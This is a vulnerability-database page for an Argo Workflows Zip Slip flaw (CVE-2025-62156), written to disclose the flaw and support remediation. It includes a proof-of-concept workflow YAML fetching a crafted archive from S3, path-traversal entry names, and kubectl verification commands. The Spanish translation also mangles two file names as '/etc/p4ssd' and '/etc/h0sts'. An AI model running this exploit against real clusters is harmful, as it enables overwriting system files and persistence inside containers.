8.1high
argo-workflows Zip Slip path traversal allows arbitrary file write and container configuration overwrite
- Severity
- 8.1high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.60% (higher than 50% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-p84v-gxvw-73pfBIT-ARGO-WORKFLOWS-2025-62156GO-2025-4023
Description
Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Versions prior to 3.6.12 and versions 3.7.0 through 3.7.2 contain a Zip Slip path traversal vulnerability in artifact extraction. During artifact extraction the unpack/untar logic (workflow/executor/executor.go) uses filepath.Join(dest, filepath.Clean(header.Name)) without validating that header.Name stays within the intended extraction directory. A malicious archive entry can supply a traversal or absolute path that, after cleaning, overrides the destination directory and causes files to be written outside the /work/tmp extraction path and into system directories such as /etc inside the container. The vulnerability enables arbitrary file creation or overwrite in system configuration locations (for example /etc/passwd, /etc/hosts, /etc/crontab), which can lead to privilege escalation or persistence within the affected container. Update to 3.6.12 or 3.7.3 to remediate the issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| argoproj argo-workflows | < 3.6.12, >= 3.7.0, < 3.7.3 | CVE List |
| github.com/argoproj/argo-workflows/v3 (Go) | before 3.6.12, from 3.7.0 before 3.7.3 | GitHub Advisory Database, Go Vulnerability Database |
| github.com/argoproj/argo-workflows (Go) | all versions | Go Vulnerability Database |
| github.com/argoproj/argo-workflows/v2 (Go) | all versions | Go Vulnerability Database |
| argoproj argo_workflows | before 3.6.12, from 3.7.0 before 3.7.3 | NVD |
| argo-workflows (Bitnami) | before 3.6.12, from 3.7.0 before 3.7.3 | Bitnami Vulnerability Database |
All scores
| GitHub_M | 8.1high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H |
| GitHub | 8.1high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H |
| NVD | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Bitnami Vulnerability Database | high rating |
Classification
What each source says
CVE List
Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Versions prior to 3.6.12 and versions 3.7.0 through 3.7.2 contain a Zip Slip path traversal vulnerability in artifact extraction. During artifact extraction the unpack/untar logic (workflow/executor/executor.go) uses filepath.Join(dest, filepath.Clean(header.Name)) without validating that header.Name stays within the intended extraction directory. A malicious archive entry can supply a traversal or absolute path that, after cleaning, overrides the destination directory and causes files to be written outside the /work/tmp extraction path and into system directories such as /etc inside the container. The vulnerability enables arbitrary file creation or overwrite in system configuration locations (for example /etc/passwd, /etc/hosts, /etc/crontab), which can lead to privilege escalation or persistence within the affected container. Update to 3.6.12 or 3.7.3 to remediate the issue.
GitHub Advisory Database
Vulnerability Description
Vulnerability Overview
- During the artifact extraction process, the
unpack()function extracts the compressed file to a temporary directory (/etc.tmpdir) and then attempts to move its contents to/etcusing therename()system call, - However, since
/etcis an already existing system directory, therename()system call fails, making normal archive extraction impossible. - At this point, if a malicious user sets the entry name inside the
tar.gzfile to a path traversal like../../../../../etc/zipslip-poc, - The
untar()function combines paths usingfilepath.Join(dest, filepath.Clean(header.Name))without path validation, resulting intarget = "/work/input/../../../../../etc/zipslip-poc", - Ultimately, the
/etc/zipslip-pocfile is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.
untar(): Writing Files Outside the Extraction Directory
- Base Path:
/work/tmp(dest) — The intended extraction directory in the wait container - Malicious Entry:
../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt(header.Name) — Path traversal payload - Path Cleaning:
filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt— Go’s path cleaning normalizes the traversal - Path Joining:
filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt— Absolute path overrides base directory - File Creation:
/mainctrfs/etc/zipslip-ok.txtfile is created in the wait container - Volume Mirroring: The file appears as
/etc/zipslip-ok.txtin the main container due to volume mount mirroring
PoC
PoC Description
- The user uploaded a malicious
tar.gzfile to S3 that contains path traversal entries like../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txtdesigned to exploit the vulnerability. - In the Argo Workflows YAML, the artifact’s path is set to
/work/tmp, which should normally extract the archive to that intended directory. - However, due to the vulnerability in the
untar()function,filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt")resolves to/mainctrfs/etc/zipslip-ok.txt, causing files to be created in unintended locations. - Since the wait container’s
/mainctrfs/etcand the main container’s/etcshare the same volume, files created in the wait container become visible in the main container’s/etc/directory. - Consequently, the archive that should extract to
/work/tmpexploits the Zip Slip vulnerability to create files in the/etc/directory, enabling manipulation of system configuration files.
exploit yaml
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: zipslip-
spec:
entrypoint: main
templates:
- name: main
container:
image: ubuntu:22.04
command: ["sh"]
args: ["-c", "echo 'Starting container'; sleep 3000"]
volumeMounts:
- name: etcvol
mountPath: /etc
inputs:
artifacts:
- name: evil
path: /work/tmp
archive:
tar: {}
http:
url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz"
volumes:
- name: etcvol
emptyDir: {}
exploit
-
Create Zipslip
image (4) -
Upload S3
image (5) -
Create Workflow
image (1) (1) -
Run
image (2) -
Exploit Success
image (3)# Find Workflow and Pod NS=default WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}') POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}') echo "NS=$NS WF=$WF POD=$POD" # Connect Main Container kubectl exec -it -n "$NS" "$POD" -c main -- bash # Exploit cd /etc/ ls -l cat zipslip-ok.txt
Impact
Container Isolation Bypass
The Zip Slip vulnerability allows attackers to write files to system directories like /etc/ within the container, potentially overwriting critical configuration files such as /etc/passwd, /etc/hosts, or /etc/crontab, which could lead to privilege escalation or persistent access within the compromised container.
Go Vulnerability Database
Argo Workflow has a Zipslip Vulnerability in github.com/argoproj/argo-workflows
NVD (es)
Argo Workflows es un motor de flujo de trabajo de código abierto nativo de contenedor para orquestar trabajos paralelos en Kubernetes. Las versiones anteriores a la 3.6.12 y las versiones 3.7.0 a la 3.7.2 contienen una vulnerabilidad de salto de ruta Zip Slip en la extracción de artefactos. Durante la extracción de artefactos, la lógica de descompresión/desempaquetado (unpack/untar) (workflow/executor/executor.go) utiliza filepath.Join(dest, filepath.Clean(header.Name)) sin validar que header.Name permanezca dentro del directorio de extracción previsto. Una entrada de archivo maliciosa puede proporcionar una ruta de salto o absoluta que, después de la limpieza, anula el directorio de destino y hace que los archivos se escriban fuera de la ruta de extracción /work/tmp y en directorios del sistema como /etc dentro del contenedor. La vulnerabilidad permite la creación o sobrescritura arbitraria de archivos en ubicaciones de configuración del sistema (por ejemplo, /etc/p4ssd, /etc/h0sts, /etc/crontab), lo que puede conducir a la escalada de privilegios o la persistencia dentro del contenedor afectado. Actualice a la 3.6.12 o 3.7.3 para remediar el problema.
References
Related
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-62156 changed 2025-10-14 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-p84v-gxvw-73pf changed 2026-09-10 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2025-4023 changed 2026-02-04 | CC-BY-4.0 |
| NVD | CVE-2025-62156 changed 2026-10-08 | Public domain |
| Bitnami Vulnerability Database | BIT-ARGO-WORKFLOWS-2025-62156 changed 2026-09-08 | Apache-2.0 |